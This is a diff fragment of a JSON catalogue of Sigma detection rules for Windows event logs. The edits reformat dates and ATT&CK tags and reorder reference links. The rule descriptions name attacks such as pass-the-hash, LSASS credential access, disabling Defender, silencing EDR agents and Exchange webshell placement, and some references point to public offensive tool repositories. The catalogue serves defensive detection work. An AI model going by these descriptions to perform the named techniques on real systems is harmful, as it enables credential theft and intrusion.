"logsource.product": "windows", "refs": [ - "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", + "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_access_token_abuse.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1134.001", "stp.4u" ] @@ -62453,7 +62559,7 @@ "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/03", + "creation_date": "2022-08-03", "falsepositive": [ "Unlikely" ], @@ -62466,7 +62572,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_diagtrack_eop_default_login_username.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", @@ -62476,7 +62582,7 @@ "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", "meta": { "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", - "creation_date": "2019/06/14", + "creation_date": "2019-06-14", "falsepositive": [ "Administrator activity" ], @@ -62491,7 +62597,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_pass_the_hash_2.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1550.002" ] }, @@ -62511,7 +62617,7 @@ "description": "Detects activity when a security-enabled global group is deleted", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2023/04/26", + "creation_date": "2023-04-26", "falsepositive": [ "Unknown" ], @@ -62520,11 +62626,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", "https://www.cisecurity.org/controls/cis-controls-list/", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_security_enabled_global_group_deleted.yml" ], "tags": [ @@ -62548,7 +62654,7 @@ "description": "Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.", "meta": { "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)", - "creation_date": "2023/01/19", + "creation_date": "2023-01-19", "falsepositive": [ "Legitimate or intentional inbound connections from public IP addresses on the RDP port." ], @@ -62557,13 +62663,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", "https://twitter.com/Purp1eW0lf/status/1616144561965002752", + "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_rdp_login.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1133", "attack.t1078", "attack.t1110" @@ -62599,7 +62705,7 @@ "description": "Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account.\nThis may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.\n", "meta": { "author": "Elastic, @SBousseaden", - "creation_date": "2022/04/27", + "creation_date": "2022-04-27", "falsepositive": [ "Unknown" ], @@ -62613,8 +62719,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_privesc_kerberos_relay_over_ldap.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.credential_access", + "attack.privilege-escalation", + "attack.credential-access", "attack.t1548" ] }, @@ -62634,7 +62740,7 @@ "description": "Detects logon events that specify new credentials", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/04/06", + "creation_date": "2022-04-06", "falsepositive": [ "Legitimate remote administration activity" ], @@ -62647,8 +62753,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_logon_newcredentials.yml" ], "tags": [ - "attack.defense_evasion", - "attack.lateral_movement", + "attack.defense-evasion", + "attack.lateral-movement", "attack.t1550" ] }, @@ -62668,7 +62774,7 @@ "description": "Detects activity when a member is removed from a security-enabled global group", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2023/04/26", + "creation_date": "2023-04-26", "falsepositive": [ "Unknown" ], @@ -62677,11 +62783,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", "https://www.cisecurity.org/controls/cis-controls-list/", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_removed_security_enabled_global_group.yml" ], "tags": [ @@ -62705,7 +62811,7 @@ "description": "Detects activity when a member is added to a security-enabled global group", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", - "creation_date": "2023/04/26", + "creation_date": "2023-04-26", "falsepositive": [ "Unknown" ], @@ -62714,11 +62820,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", "https://www.cisecurity.org/controls/cis-controls-list/", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_added_security_enabled_global_group.yml" ], "tags": [ @@ -62742,7 +62848,7 @@ "description": "Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents.\nAdversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events.\n", "meta": { "author": "@gott_cyber", - "creation_date": "2024/01/08", + "creation_date": "2024-01-08", "falsepositive": [ "Unlikely" ], @@ -62751,13 +62857,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/amjcyber/EDRNoiseMaker", "https://github.com/netero1010/EDRSilencer", "https://ghoulsec.medium.com/misc-series-4-forensics-on-edrsilencer-events-428b20b3f983", - "https://github.com/amjcyber/EDRNoiseMaker", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/object_access/win_security_wfp_endpoint_agent_blocked.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -62777,7 +62883,7 @@ "description": "Detects the load of a revoked kernel driver", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62786,13 +62892,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_loaded.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "320fccbf-5e32-4101-82b8-2679c5f007c6", @@ -62802,7 +62908,7 @@ "description": "Detects loaded kernel modules that did not meet the WHQL signing requirements.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62811,13 +62917,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_whql_failure.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "2f8cd7a0-9d5a-4f62-9f8b-2c951aa0dd1f", @@ -62827,7 +62933,7 @@ "description": "Detects image load events with revoked certificates by code integrity.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62836,13 +62942,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_loaded.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "881b7725-47cc-4055-8000-425823344c59", @@ -62852,7 +62958,7 @@ "description": "Detects blocked image load events with revoked certificates by code integrity.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62861,13 +62967,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_blocked.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "6f156c48-3894-4952-baf0-16193e9067d2", @@ -62877,7 +62983,7 @@ "description": "Detects block events for files that are disallowed by code integrity for protected processes", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62886,13 +62992,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_blocked_protected_process_file.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "5daf11c3-022b-4969-adb9-365e6c078c7c", @@ -62902,7 +63008,7 @@ "description": "Detects the presence of a loaded unsigned kernel module on the system.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62911,13 +63017,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_driver_loaded.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "951f8d29-f2f6-48a7-859f-0673ff105e6f", @@ -62927,7 +63033,7 @@ "description": "Detects blocked load attempts of revoked drivers", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unknown" ], @@ -62936,13 +63042,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_blocked.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543" ] }, @@ -62962,7 +63068,7 @@ "description": "Detects loaded unsigned image on the system", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/06", + "creation_date": "2023-06-06", "falsepositive": [ "Unlikely" ], @@ -62971,13 +63077,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "Internal Research", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_image_loaded.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "c92c24e7-f595-493f-9c98-53d5142f5c18", @@ -62987,7 +63093,7 @@ "description": "Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired.\nThis event is best correlated with EID 3089 to determine the error of the validation.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/20", + "creation_date": "2022-01-20", "falsepositive": [ "Antivirus and other third party products are known to trigger this rule quite a lot. Initial filters and tuning is required before using this rule." ], @@ -62996,10 +63102,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", "https://twitter.com/SBousseaden/status/1483810148602814466", - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" ], "tags": [ @@ -63013,7 +63119,7 @@ "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/10", + "creation_date": "2022-11-10", "falsepositive": [ "Unknown" ], @@ -63028,7 +63134,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_enforced_policy_block.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543" ] }, @@ -63048,7 +63154,7 @@ "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", "meta": { "author": "James Pemberton", - "creation_date": "2020/05/22", + "creation_date": "2020-05-22", "falsepositive": [ "Host connections to valid domains, exclude these.", "Host connections not using host FQDN.", @@ -63063,7 +63169,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -63083,7 +63189,7 @@ "description": "Detects common NTLM brute force device names", "meta": { "author": "Jerry Shockley '@jsh0x'", - "creation_date": "2022/02/02", + "creation_date": "2022-02-02", "falsepositive": [ "Systems with names equal to the spoofed ones used by the brute force tools" ], @@ -63096,7 +63202,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110" ] }, @@ -63116,7 +63222,7 @@ "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/06/08", + "creation_date": "2018-06-08", "falsepositive": [ "Legacy hosts" ], @@ -63125,12 +63231,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://goo.gl/PsqrhT", "https://twitter.com/JohnLaTwC/status/1004895028995477505", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1550.002" ] }, @@ -63150,7 +63255,7 @@ "description": "Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "False positives may occur with some of the selected binaries if you have tasks using them (which could be very common in your environment). Exclude all the specific trusted tasks before using this rule" ], @@ -63183,7 +63288,7 @@ "description": "Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities\n", "meta": { "author": "frack113", - "creation_date": "2023/01/13", + "creation_date": "2023-01-13", "falsepositive": [ "Unknown" ], @@ -63216,7 +63321,7 @@ "description": "Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "Unknown" ], @@ -63249,7 +63354,7 @@ "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", "meta": { "author": "Jose Rodriguez @Cyb3rPandaH", - "creation_date": "2021/03/15", + "creation_date": "2021-03-15", "falsepositive": [ "Unknown" ], @@ -63282,7 +63387,7 @@ "description": "Detects the Installation of a Exchange Transport Agent", "meta": { "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2021/06/08", + "creation_date": "2021-06-08", "falsepositive": [ "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." ], @@ -63315,7 +63420,7 @@ "description": "Detects a failed installation of a Exchange Transport Agent", "meta": { "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2021/06/08", + "creation_date": "2021-06-08", "falsepositive": [ "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." ], @@ -63348,7 +63453,7 @@ "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", "meta": { "author": "Florian Roth (Nextron Systems), Rich Warren, Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Unlikely" ], @@ -63381,7 +63486,7 @@ "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/27", + "creation_date": "2021-08-27", "falsepositive": [ "Unknown" ], @@ -63394,7 +63499,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -63414,7 +63519,7 @@ "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Unlikely" ], @@ -63428,7 +63533,7 @@ ], "tags": [ "attack.t1587.001", - "attack.resource_development" + "attack.resource-development" ] }, "related": [ @@ -63447,7 +63552,7 @@ "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unlikely" ], @@ -63480,7 +63585,7 @@ "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", + "creation_date": "2021-04-12", "falsepositive": [ "Legitimate use of Hybrid Connection Manager via Azure function apps." ], @@ -63513,7 +63618,7 @@ "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/03", + "creation_date": "2022-08-03", "falsepositive": [ "Unknown" ], @@ -63526,7 +63631,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -63546,7 +63651,7 @@ "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Bhabesh Raj", - "creation_date": "2022/08/02", + "creation_date": "2022-08-02", "falsepositive": [ "Unknown" ], @@ -63559,7 +63664,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -63579,7 +63684,7 @@ "description": "Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.", "meta": { "author": "Zach Mathis", - "creation_date": "2023/05/13", + "creation_date": "2023-05-13", "falsepositive": [ "Legitimate application requesting certificate exports will trigger this. Apply additional filters as needed" ], @@ -63592,7 +63697,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/certificate_services_client_lifecycle_system/win_certificateservicesclient_lifecycle_system_cert_exported.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1649" ] }, @@ -63612,7 +63717,7 @@ "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", "meta": { "author": "Florian Roth (Nextron Systems), KevTheHermit, fuzzyf10w", - "creation_date": "2021/06/30", + "creation_date": "2021-06-30", "falsepositive": [ "Account fallback reasons (after failed login with specific account)" ], @@ -63621,13 +63726,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/afwu/PrintNightmare", "https://twitter.com/KevTheHermit/status/1410203844064301056", + "https://github.com/afwu/PrintNightmare", "https://github.com/hhlxf/PrintNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/security/win_smbclient_security_susp_failed_guest_logon.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110.001" ] }, @@ -63647,7 +63752,7 @@ "description": "Detects actions taken by Windows Defender malware detection engines", "meta": { "author": "Ján Trenčanský", - "creation_date": "2020/07/28", + "creation_date": "2020-07-28", "falsepositive": [ "Unlikely" ], @@ -63680,7 +63785,7 @@ "description": "Detects blocked attempts to change any of Defender's settings such as \"Real Time Monitoring\" and \"Behavior Monitoring\"", "meta": { "author": "Bhabesh Raj, Nasreddine Bencherchali", - "creation_date": "2021/07/05", + "creation_date": "2021-07-05", "falsepositive": [ "Administrator might try to disable defender features during testing (must be investigated)" ], @@ -63689,12 +63794,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", + "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -63714,7 +63819,7 @@ "description": "Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initaited this action you might want to reduce it to a \"medium\" level if this occurs too many times in your environment\n", "meta": { "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", + "creation_date": "2020-07-28", "falsepositive": [ "Administrator actions (should be investigated)", "Seen being triggered occasionally during Windows 8 Defender Updates" @@ -63725,12 +63830,12 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5001", "https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/", + "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5001", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -63750,7 +63855,7 @@ "description": "Detects blocking of process creations originating from PSExec and WMI commands", "meta": { "author": "Bhabesh Raj", - "creation_date": "2020/07/14", + "creation_date": "2020-07-14", "falsepositive": [ "Unknown" ], @@ -63759,13 +63864,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/duff22b/status/1280166329660497920", "https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-process-creations-originating-from-psexec-and-wmi-commands", + "https://twitter.com/duff22b/status/1280166329660497920", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_asr_psexec_wmi.yml" ], "tags": [ "attack.execution", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1047", "attack.t1569.002" ] @@ -63793,7 +63898,7 @@ "description": "Detects when someone is adding or removing applications or folders from exploit guard \"ProtectedFolders\" or \"AllowedApplications\"\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Unlikely" ], @@ -63806,7 +63911,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_config_change_exploit_guard_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -63826,7 +63931,7 @@ "description": "Detects Access to LSASS Process", "meta": { "author": "Markus Neis", - "creation_date": "2018/08/26", + "creation_date": "2018-08-26", "falsepositive": [ "Google Chrome GoogleUpdate.exe", "Some Taskmgr.exe related activity" @@ -63840,7 +63945,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_asr_lsass_access.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -63860,7 +63965,7 @@ "description": "Detects disabling of the Windows Defender virus scanning feature", "meta": { "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", + "creation_date": "2020-07-28", "falsepositive": [ "Unknown" ], @@ -63870,12 +63975,12 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/", "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5012", + "https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/", 